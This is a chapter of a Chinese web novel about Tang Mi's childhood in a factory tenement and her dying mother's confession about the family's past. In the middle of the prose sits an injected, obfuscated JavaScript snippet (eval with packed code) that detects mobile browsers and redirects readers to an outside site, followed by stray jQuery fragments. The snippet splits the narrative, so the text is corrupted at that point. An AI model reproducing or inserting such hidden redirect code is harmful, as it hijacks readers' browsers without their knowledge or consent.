唐觅五岁时，王芝韵三十四岁。


    两个人从逼仄的筒子楼爬上天台，水泥栏杆晒得发烫，眼前是大半个纺织厂家属区。前面是厂区食堂，东面是职工澡堂，西面偏北，能看见爸爸车间的大烟囱，突突冒着白烟。烟囱上刷着红色标语，风吹日晒剥落了一半，认不出是什么字。


    傍晚起风的时候，能听见织布车间传来的机器声，咔嗒咔嗒，密密匝匝，像永远停不下来的雨声。妈妈搂紧唐觅，下巴抵在她头顶，长发被风吹得乱飞。


    唐觅仰起头问，妈妈，爸爸今天回来吃饭吗。


    妈妈说，不知道。


    唐觅又问，爸爸是不是又加班，他好忙。


    妈妈低头看她，笑了笑说，乖，下去吧，外婆要着急了。


    唐觅抱紧妈妈的腿说，再待一会儿嘛，我不想下去。


    妈妈摸摸她的头说，下面有西瓜。


    唐觅说，真的？


    妈妈说，嗯。


    唐觅说，给哥哥和爸爸留一块。


    妈妈笑着说，好。


    吃过晚饭，隔壁传来收音机的声音，放的是邓丽君，她唱：好花不常开，好景不常在。有时候，收音机停了，听见隔壁小孩哭。


    妈妈叹口气说，隔壁美珍，脾气真不好。


    外婆说，你脾气好，就是没用，遇事只知道哭。学志又不回来，你俩出啥问题了？


    妈妈说，他忙。


    她又摸摸唐觅的头，说，我没用，我们觅觅长大有出息就够了，以后要有好日子过。


    这是唐觅永久的记忆。


    ……


    此地是她出生前，爸爸妈妈在厂区分的房子，筒子楼三层，厕所是后来搭建的。先前好几次机会搬迁，去新城区买商品房，但那时厂里的人都看不起，说是开荒出来的都是些坟场，脑子有毛病才买去那边。


    后来新区日益繁华，开了商场、建了学校，房价翻着跟头往上涨，便再也买不起了。而厂里的人，守着筒子楼，守着铁饭碗，守着守着，就都没了。


    除了隔壁的美珍阿姨。


    她烫大波浪，涂红嘴唇，身上总有股香味，隔着走廊都能闻见。筒子楼里其他女人看不惯，她们以为唐觅年纪小听不懂，便毫无顾忌地骂，骚成那样，给谁看。


    美珍阿姨夏天穿连衣裙，冬天穿呢子大衣，进进出出高跟鞋笃笃响，踩得楼板一颤一颤。


    她男人在车间开机床，三班倒，经常不在家。她一个人带着个小女孩，那小女孩比唐觅小两岁，瘦瘦小小，整天哭。晚上唐觅躺床上，经常听见隔壁的哭声和骂声，像锯子一样锯着那堵薄墙。


    妈妈叹气说，小孩子可怜。


    爸爸说，少管闲事。


    后来美珍阿姨的老公出事了。机床切掉两根手指，养伤半年，伤好了人废了，调到仓库看门。再后来，美珍阿姨就消失了。


    有人说她跟人跑了。有人说她去南方了。有人说她做那种生意去了。


    她男人带着小孩过，那小孩还是哭，但没人骂了。


    唐觅再见到美珍阿姨，是好几年后。


    那时唐觅已经上中学，妈妈在饭桌上说，你猜隔壁美珍阿姨现在在干啥？


    唐觅说不知道。


    妈妈压低声音说，发了。在南方做生意，做大了。这次回来，开一辆白色轿车，穿金戴银，还在新区买了房。


    爸爸扒饭，不吭声。


    妈妈又说，听说她男人现在跟她住一起，那手还是那样，但人家也不嫌弃。你说这人，命怎么变的。


    唐觅在楼道里碰见过美珍阿姨一次。


    她回来探亲，头发剪短，衣服也不一样了，没那么艳，是那种一眼看不出牌子但肯定很贵的款。脸上没以前那么红，但皮肤好，又透又亮的。


    她看见唐觅，愣了一下，然后笑着招呼，长这么大了。


    唐觅说，阿姨好。


    她点点头，走过去，高跟鞋笃笃响，跟以前一样。


    唐觅站在走廊里，看着她背影，羡慕极了。


    走廊对面的墙上挂着一面镜子。


    唐觅小时候最爱去照。她总想，长大了一定要像美珍阿姨那样，烫大波浪，涂红嘴唇，穿高跟鞋笃笃响，香得隔着走廊都能闻见。


    每当这时候，身后的门便开了，镜子里多出一个人。


    妈妈说，少臭美，快进来吃饭。


    然后掀开那挂紫色的珠帘，哗啦啦一片响，人进去了，帘子还在晃。


    如今那挂珠帘还在，紫色却褪成了灰白，镜中妈妈的脸苍老了很多岁。


    王芝韵靠在门框上，头发没了，脸色灰白，颧骨高高突起，眼窝陷下去，嘴唇干得起了皮。


    ……


    王芝韵坐在沙发上，手边搁着一杯水，没喝，凉了。


    唐觅坐在对面，看着她。


    王芝韵问，什么时候回来的？


    唐觅说，昨天。


    王芝韵问，吃饭了没有？


    唐觅说，吃了。


    王芝韵点点头，两个人不说话。


    窗外是老小区常见的风景，对面那栋楼灰扑扑的，阳台上晾着衣服，有人在收被子。楼下一声电动车喇叭，拖得长长的，像是催什么人。


    唐觅问，怎么就你一个人？


    王芝韵迟疑了一下说，他们都在新房子那边。


    哥哥结婚时买了新房，三室一厅，前面有个小花园。


    唐觅问，医生怎么说？


    王芝韵说，转移到肺，现在吃靶向药。


    唐觅说，怎么不去医院住？没钱我给你。


    王芝韵苍白地笑笑，说，没用了，医生让回来。


    唐觅不说话，她心里难过，但又不会再当着妈妈的面哭出来了。


    王芝韵看了她一眼，说，你瘦了。


    唐觅说，还好。


    王芝韵说，你怎么去美国了？也不说一声，吃得惯吗？


    唐觅说，还好。


    王芝韵点点头，又是一顿沉默。


    楼上传来电视声，放的是什么剧，台词听不清，偶尔一阵笑声。


    唐觅又问，老邻居们都走了吧，刚才碰见的都是陌生人。


    王芝韵说，是呀。


    母女之间，以为有讲不完的话，其实难以通达。长期的间隔，各自捂着一肚子说不出口的事，忽然见了面，蜂拥的回忆夹头夹脑涌上来，反而把嘴堵住了。


    七荤八素的，谈兴非但不高，时常百感交集，思路阻塞。


    于是就这么散漫地坐着，东一句西一句，讲病情，讲美国，讲隔壁美珍阿姨。像在郊外开车，开到哪儿算哪儿，没头没尾的，也不指望到站。


    窗外阳光慢慢暗下去，两个人还在那儿坐着。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332137|198371||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    唐觅站起身说，注意身体，有事给我打电话，我再来看你。


    看着她离开的背影，王芝韵突然把她叫住：“觅觅。”


    她的声音急切，唐觅顿住脚步，却没有回头。


    “不要恨你爸，都是我的错。”王芝韵说。


    唐觅一呆，又被她叫着重新落座。


    王芝韵说，人之将死，有些话我不得不说。


    窗台上有一盆绿萝，叶子黄了好几片，也没来得及修剪。


    唐觅问，什么意思。


    王芝韵说，隔壁美珍阿姨的老公，你记得吧。


    唐觅点头，记得，张叔叔，断了手指的。


    王芝韵说，那年你爸还年轻，在厂里干活，跟你张叔叔是好朋友。两个人一块进厂，一块挨欺负，一块骂领导。有一次两人骂领导被听见，又被穿小鞋。我出主意，去请客，缓解关系，美珍不愿意。于是，你爸和我，还有张叔叔就一块请厂长吃饭。


    她说到这儿，停了一下。


    黄昏的余晖消失，天色渐渐暗淡。


    王芝韵说，那晚厂长喝多了，把你爸和你张叔叔也灌醉了。我……。


    她虽然老了，病了，但那眉眼的形状还在。眼尾微微上挑，年轻时是一双会说话的眼睛。她从前是厂里的一枝花。


    她没再往下说那一段。只是说，第二天张叔叔知道了，让你爸报警。你爸没报。


    唐觅不吭声，心里闷得慌，很想开口说点什么，却发现怎么都说不出话来。


    王芝韵说，后来你爸升了主管，张叔叔却被调到车间最累的活上去。再后来，他手指就没了。


    唐觅多少也在职场上领教过，只能说人人都不易，尊重他人选择即可。只是这种事情落在自己家，到底还是不一样。


    王芝韵说，那件事之后没多久，我就怀了你。


    一句话无异于晴天霹雳，脑子里霎时间一片空白。想起从小到大唐学志对自己的诸多事情，不远不近的疏离，厌恶的眼神，赶她出门时的决绝。


    一切都有了个合理的理由。


    难怪。


    可是该庆幸吗？释怀吗？说不清。


    脑子里一团乱麻之际，王芝韵又着急开口，可你就是你爸的孩子，我跟他说过无数次，那厂长根本就……只是他心里有疙瘩！


    一瞬间，刚刚找的所有理由都破碎，百感交集。


    陈年旧事说出口，王芝韵像是被抽干，最后絮絮叨叨和她说，别去怪谁，一切都是命，家和万事兴。


    唐觅已然不想再听，她侧头望着门上的那些珠串出神，命运捉弄一般，晃动摇荡。


    三个月后，她收起珠帘，把王芝韵的黑白遗照挂到背后的墙上。


    ……


    葬礼那几天，周阅川在瑞士出差，没能赶回来陪她。


    但其实他们很少联系了，两个人都忙。


    这三个月来，唐觅一直待在苏市，赵先生有分公司在这边，恰好方便项目收尾。而其余时间，她都回家。王芝韵是握着她的手落气的。


    当世界上最亲的人走了之后，才有一种人生再无来处的巨大茫然与悲哀。


    周阅川回来时，是一个细雨霏霏的夜。


    那辆黑色的车里，他拥她入怀，久违的气息让她眼眶一热，泪水簌地落下。


    “周阅川，我再也没有妈妈了。”